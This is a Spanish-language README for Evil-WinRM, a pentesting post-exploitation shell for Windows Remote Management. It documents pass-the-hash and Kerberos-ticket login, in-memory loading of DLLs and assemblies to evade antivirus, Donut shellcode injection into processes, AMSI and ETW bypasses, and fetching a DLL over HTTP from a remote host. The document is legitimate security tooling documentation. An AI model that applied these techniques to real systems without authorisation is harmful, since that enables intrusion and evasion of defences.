Evil-WinRM

El shell WinRM definitivo para hacking/pentesting

Banner

Descripción y propósito

Este shell es el shell WinRM definitivo para hacking/pentesting.

WinRM (Windows Remote Management) es la implementación de Microsoft del protocolo WS-Management. Un protocolo estándar basado en SOAP que permite la interoperabilidad entre hardware y sistemas operativos de diferentes fabricantes. Microsoft lo incluyó en sus sistemas operativos para facilitar la vida a los administradores de sistemas.

Este programa puede usarse en cualquier servidor Microsoft Windows con esta función habilitada (normalmente en el puerto 5985), por supuesto solo si tienes credenciales y permisos para usarlo. Así que podemos decir que podría usarse en una fase de post-explotación de hacking/pentesting. El propósito de este programa es proporcionar funciones agradables y fáciles de usar para el hacking. También puede usarse con fines legítimos por administradores de sistemas, pero la mayoría de sus funciones están enfocadas en temas de hacking/pentesting.

Se basa principalmente en la librería Ruby WinRM, que cambió su forma de funcionar desde su versión 2.0. Ahora, en lugar de usar el protocolo WinRM, utiliza PSRP (Powershell Remoting Protocol) para inicializar pools de runspace, así como para crear y procesar pipelines.

Funciones

Compatible con sistemas cliente Linux y Windows
Cargar scripts de Powershell en memoria
Cargar archivos dll en memoria evadiendo algunos AV
Cargar ensamblados C# (C Sharp) en memoria evadiendo algunos AV
Cargar payloads x64 generados con la increíble técnica donut
Bypass dinámico de AMSI para evitar firmas de AV
Soporte de pass-the-hash
Soporte de autenticación Kerberos, incluyendo también archivos ccache y kirbi
Soporte de SSL y certificados
Subir y descargar archivos mostrando barra de progreso
Listar servicios de máquinas remotas sin privilegios
Historial de comandos
Autocompletado de comandos WinRM
Autocompletado de archivos/directorios locales
Autocompletado de rutas remotas (archivos/directorios) (se puede deshabilitar opcionalmente)
Colorización en el prompt y mensajes de salida (se puede deshabilitar opcionalmente)
Función de registro (logging) opcional
Soporte de Docker (imágenes precompiladas disponibles en Dockerhub)
Captura de trampas (traps) para evitar la salida accidental del shell con Ctrl+C
User-agent personalizable usando el predeterminado legítimo de Windows
Bypass de ETW (Event Tracing for Windows)

Ayuda```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

## Requisitos
Se necesita Ruby 2.3 o superior. También se requieren algunas gemas de Ruby: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
Dependiendo de tu método de instalación (4 disponibles), la instalación de estas podría requerirse de forma manual.

Otro requisito importante, utilizado solo para la autenticación Kerberos, es instalar el paquete Kerberos usado para la autenticación de red.
Para algunos Linux basados en Debian (Kali, Parrot, etc.) se llama `krb5-user`. Para BlackArch se llama `krb5` y probablemente podría llamarse de otra manera en otras distribuciones de Linux.

La función de autocompletado de rutas remotas requiere el enlace nativo `readline-ext`, que se instala automáticamente como dependencia de Evil-WinRM. Algunos sistemas requieren paquetes de desarrollo adicionales para compilarlo. Consulta [la sección siguiente](#Remote-path-completion) para más información.

## Instalación e inicio rápido (4 métodos)

### Método 1. Instalación directa como gema de ruby (las dependencias se instalarán automáticamente en tu sistema)
 - Paso 1. Instálala (instalará automáticamente las dependencias): ```gem install evil-winrm```
 - Paso 2. Listo. ¡Solo ejecútala!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Método 2. Clonar con Git e instalar dependencias en tu sistema manualmente

Paso 1. Instala las dependencias manualmente: sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
Paso 2. Clona el repositorio: git clone https://github.com/Hackplayers/evil-winrm.git
Paso 3. Listo. ¡Solo ejecútalo!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

### Método 3. Usando bundler (las dependencias no se instalarán en tu sistema, solo para usar evil-winrm)
 - Paso 1. Instala bundler: `gem install bundler`
 - Paso 2. Clona el repositorio: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Paso 3. Instala las dependencias con bundler: `cd evil-winrm && bundle install --path vendor/bundle`
 - Paso 4. Ejecútalo con bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Método 4. Usando Docker

Paso 1. Inicie el contenedor docker basado en la imagen ya construida:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

## Documentación

### Contraseña en texto claro
Si no quieres poner la contraseña en texto claro, puedes evitar opcionalmente establecer el argumento `-p` y la contraseña se solicitará de forma interactiva evitando que se muestre.

### IPv6
Para usar IPv6, la dirección debe añadirse a /etc/hosts. Simplemente coloca el nombre del host ya configurado después del argumento `-i` en lugar de una dirección IP.

### Comandos básicos
 - **upload**: los archivos locales se pueden autocompletar usando la tecla tab.
   - uso: `upload local_filename` o `upload local_filename destination_filename`
 - **download**:
   - uso: `download remote_filename` o `download remote_filename destination_filename`

 __Notas sobre rutas (upload/download)__:
   No se permiten rutas relativas para usar en download/upload. Usa nombres de archivo en el directorio actual o rutas absolutas.
   Si estás usando Evil-WinRM en un entorno docker, ten en cuenta que todas las rutas locales deben estar en `/data` y asegúrate de haberlo mapeado como un volumen para poder acceder a los archivos descargados o poder subir archivos desde el sistema operativo de tu host local.

 - **services**: lista todos los servicios mostrando si tu cuenta tiene permisos sobre cada uno. No se necesitan permisos de administrador para usar esta función.
 - **menu**: carga las funciones `Invoke-Binary`, `Dll-Loader` y `Donut-Loader` que explicaremos a continuación. Cuando se carga un ps1, se mostrarán todas sus funciones.
 - **clear** o **cls**: limpia la pantalla del terminal. También puedes usar el atajo de teclado `Ctrl+L` para limpiar la pantalla.
 - **exit** o **quit**: cierra la sesión de Evil-WinRM. También puedes usar el atajo de teclado `Ctrl+D`.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

Cargar scripts de PowerShell

Para cargar un archivo ps1 solo tienes que escribir el nombre (se permite autocompletar con tab). Los scripts deben estar en la ruta establecida en el argumento -s. Escribe menu de nuevo y verás las funciones cargadas. Los archivos muy grandes pueden tardar mucho tiempo en cargarse.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| / / / / / /
```
   By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
```

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

### Comandos avanzados
- Invoke-Binary: permite ejecutar ensamblados .Net en memoria. El nombre se puede autocompletar con la tecla Tab. Los argumentos para el archivo exe se pueden pasar separados por comas. Ejemplo: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Los ejecutables deben estar en la ruta establecida en el argumento `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:

Dll-Loader: permite cargar librerías dll en memoria, es equivalente a: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

El archivo dll puede estar alojado por smb, http o localmente. Una vez cargado, escribe menu, y luego es posible autocompletar todas las funciones.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

Description

Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

- Donut-Loader: permite inyectar payloads x64 generados con la increíble técnica [donut]. No es necesario codificar el payload.bin, ¡solo genéralo e inyéctalo!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Puedes usar este donut-maker para generar el payload.bin si no usas Windows. Este script utiliza un módulo de Python escrito por Marcello Salvati (byt3bl33d3r). Se puede instalar usando pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe

.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !./ \ _ _ .__./ "
X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----" / Y \ / | "x.^ |
j Y

[+] Donut generated successfully: payload.bin

- Bypass-4MSI: parchea la protección AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

Primero tienes que sincronizar la fecha con el DC: rdate -n <dc_ip>
Para generar el ticket hay muchas formas:
- Usando ticketer.py de impacket
- Usando Rubeus o Mimikatz para obtener tickets kirbi (se admite la conversión automática a ccache)
Añade el archivo de ticket. Hay 3 formas:

export KRB5CCNAME=/foo/var/ticket.ccache

cp ticket.ccache /tmp/krb5cc_0

Usa el parámetro -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache o evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

Al usar -K, la herramienta automáticamente:
- Detecta el formato del ticket (ccache o kirbi)
- Convierte tickets kirbi a formato ccache si es necesario (requiere ticket_converter.py o impacket-ticketConverter)
- Valida que el archivo exista y sea legible
- Establece la variable de entorno KRB5CCNAME
- Resuelve direcciones IP a FQDN para una mejor compatibilidad con Kerberos
Añade el realm a /etc/krb5.conf (para linux). Es importante usar este formato: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }
Verifica los tickets de Kerberos con klist
Para eliminar un ticket usa: kdestroy
Para más información sobre Kerberos consulta esta [hoja de referencia]

Finalización de rutas remotas

Esta función requiere el enlace nativo readline-ext. Evil-WinRM lo declara como dependencia, por lo que se instala automáticamente al usar RubyGems o Bundler. Si la extensión nativa no se puede compilar, esta función no funcionará (se mostrará una advertencia).

Nota para Ruby 3.3+: ext/readline se eliminó del código fuente de Ruby en la versión 3.3 (Feature #19616). Por lo tanto, el Método 1 a continuación no se puede usar con Ruby 3.3 o versiones posteriores. En sistemas basados en Debian, instala el paquete de desarrollo requerido antes de instalar Evil-WinRM o sus dependencias:``` sudo apt install libreadline-dev

El dependiente `readline-ext` hace que `require 'readline'` cargue GNU Readline en lugar de `reline`, que carece de `quoting_detection_proc`, el método que Evil-WinRM verifica. Los métodos a continuación están dirigidos a versiones antiguas de Ruby y se mantienen por compatibilidad.

#### Método 1 (compilar la extensión necesaria)

Con este método compilarás ruby con la función readline necesaria, pero para usar solo la biblioteca sin cambiar la versión predeterminada de ruby en tu sistema. Debido a esto, es el método más recomendado.

Supongamos que tienes ruby 2.7.3 en tu sistema basado en Debian:```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

Método 2 (Instalar ruby para usarlo solo para evil-winrm usando rbenv)

Supongamos que quieres ruby 2.7.1 en un Linux basado en Debian y estás usando zsh. Este script lo automatizará. Necesitarás ejecutarlo desde el mismo directorio donde se encuentran evil-winrm.rb y el Gemfile (el directorio creado por evil-winrm después de un git clone, por ejemplo):``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

Entonces puedes lanzar evil-winrm de forma segura usando el nuevo ruby instalado con el soporte de readline requerido desde cualquier ubicación.

#### Método 3 (compilar ruby completo)

Si quieres compilarlo tú mismo, puedes seguir estos pasos. Supongamos que quieres ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

Dependiendo de tu sistema, se instalará en /opt/rubies/ruby-2.7.3 o quizás en ~/.rubies/ruby-2.7.3.

Ahora solo necesitas instalar las dependencias de evil-winrm para esa nueva versión de ruby instalada. La forma más fácil es lanzar el comando /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. El comando gem utilizado debe pertenecer a la nueva instalación de ruby.

Después de eso, puedes lanzar de forma segura tu nuevo ruby instalado para usarlo con evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

Se recomienda usar este nuevo ruby instalado solo para lanzar evil-winrm. Si lo configuras como tu ruby predeterminado para tu sistema, ten en cuenta que no tiene gemas de dependencias instaladas. Algún software basado en ruby como Metasploit u otros podría no iniciarse correctamente debido a problemas de dependencias.

Registro (Logging)

Esta función creará archivos en tu directorio $HOME guardando comandos y las salidas de las sesiones WinRM.

Historial de comandos

Evil-WinRM mantiene un historial de comandos persistente para cada combinación de host y usuario. El historial se almacena en el directorio ~/.evil-winrm/history/ con archivos nombrados como {host}_{user}.hist.

Cuando te conectas a una máquina a la que has accedido previamente, puedes usar las teclas de flecha (Arriba/Abajo) para navegar por tus comandos anteriores. El historial se guarda automáticamente después de cada ejecución de comando y se carga cuando te reconectas al mismo host con el mismo usuario.

Problemas conocidos. Errores de OpenSSL

A veces, podrías enfrentarte a un error como este:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

El error se debe a que la versión OpenSSL 3.0 retiró algunas funciones heredadas como MD4, que son necesarias para ejecutar esta herramienta. Existen diferentes soluciones alternativas para lidiar con esta situación:

 - Actualiza tu sistema a la última versión. Es probable que este problema se haya solucionado automáticamente en las versiones más recientes de Ruby que utilizan versiones más nuevas de OpenSSL.
 - Compila tu propio Ruby usando OpenSSL 1.x antiguo en lugar de OpenSSL 3.0, o compílalo usando OpenSSL > 3.0 para evitar la problemática versión 3.0.
 - La más sencilla. Edita tu archivo de configuración `/etc/ssl/openssl.cnf` y asegúrate de que la configuración sea así:```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

Como alternativa al último workaround, si tu sistema usa LibreSSL en lugar de OpenSSL o simplemente no quieres modificar el archivo de configuración del sistema. Crea un archivo simple que contenga el contenido anterior. Se puede usar cualquier nombre, por ejemplo evil-tls.conf. Después, exporta una variable de entorno para forzar al sistema a usarlo: export OPENSSL_CONF="/path/to/evil-tls.conf". Y luego lanza la herramienta, el error desaparecerá.

Changelog:

El changelog y los cambios del proyecto se pueden consultar aquí: CHANGELOG.md

Créditos:

Equipo:

Cybervaca, (fundador). Twitter (X): @CyberVaca_
OscarAkaElvis, Twitter (X): @OscarAkaElvis
Jarilaos, Twitter (X): @_Laox
arale61, Twitter (X): @arale61

Agradecimientos a:

Vis0r por su apoyo personal.
Alamot por su código original.
3v4Si0N por su increíble dll loader.
WinRb Todos los contribuidores de la librería de ruby.
TheWover por su increíble herramienta donut.
byt3bl33d3r por su librería de python para crear payloads de donut.
Sh11td0wn por la inspiración sobre nuevas funcionalidades.
Borch por su ayuda añadiendo la funcionalidad de logging.
noraj por su ayuda en el mantenimiento de la herramienta en las distintas versiones de Ruby.
Hackplayers por dar cobijo en su github a este software.

Descargo de responsabilidad y Licencia

Este script está licenciado bajo LGPLv3+. Enlace directo a la Licencia.

Evil-WinRM debe usarse únicamente para pruebas de penetración autorizadas y/o fines educativos sin ánimo de lucro. Cualquier uso indebido de este software no será responsabilidad del autor ni de ningún otro colaborador. Úsalo en tus propios servidores y/o con el permiso del propietario del servidor.

evil-winrm v4.1

Categorías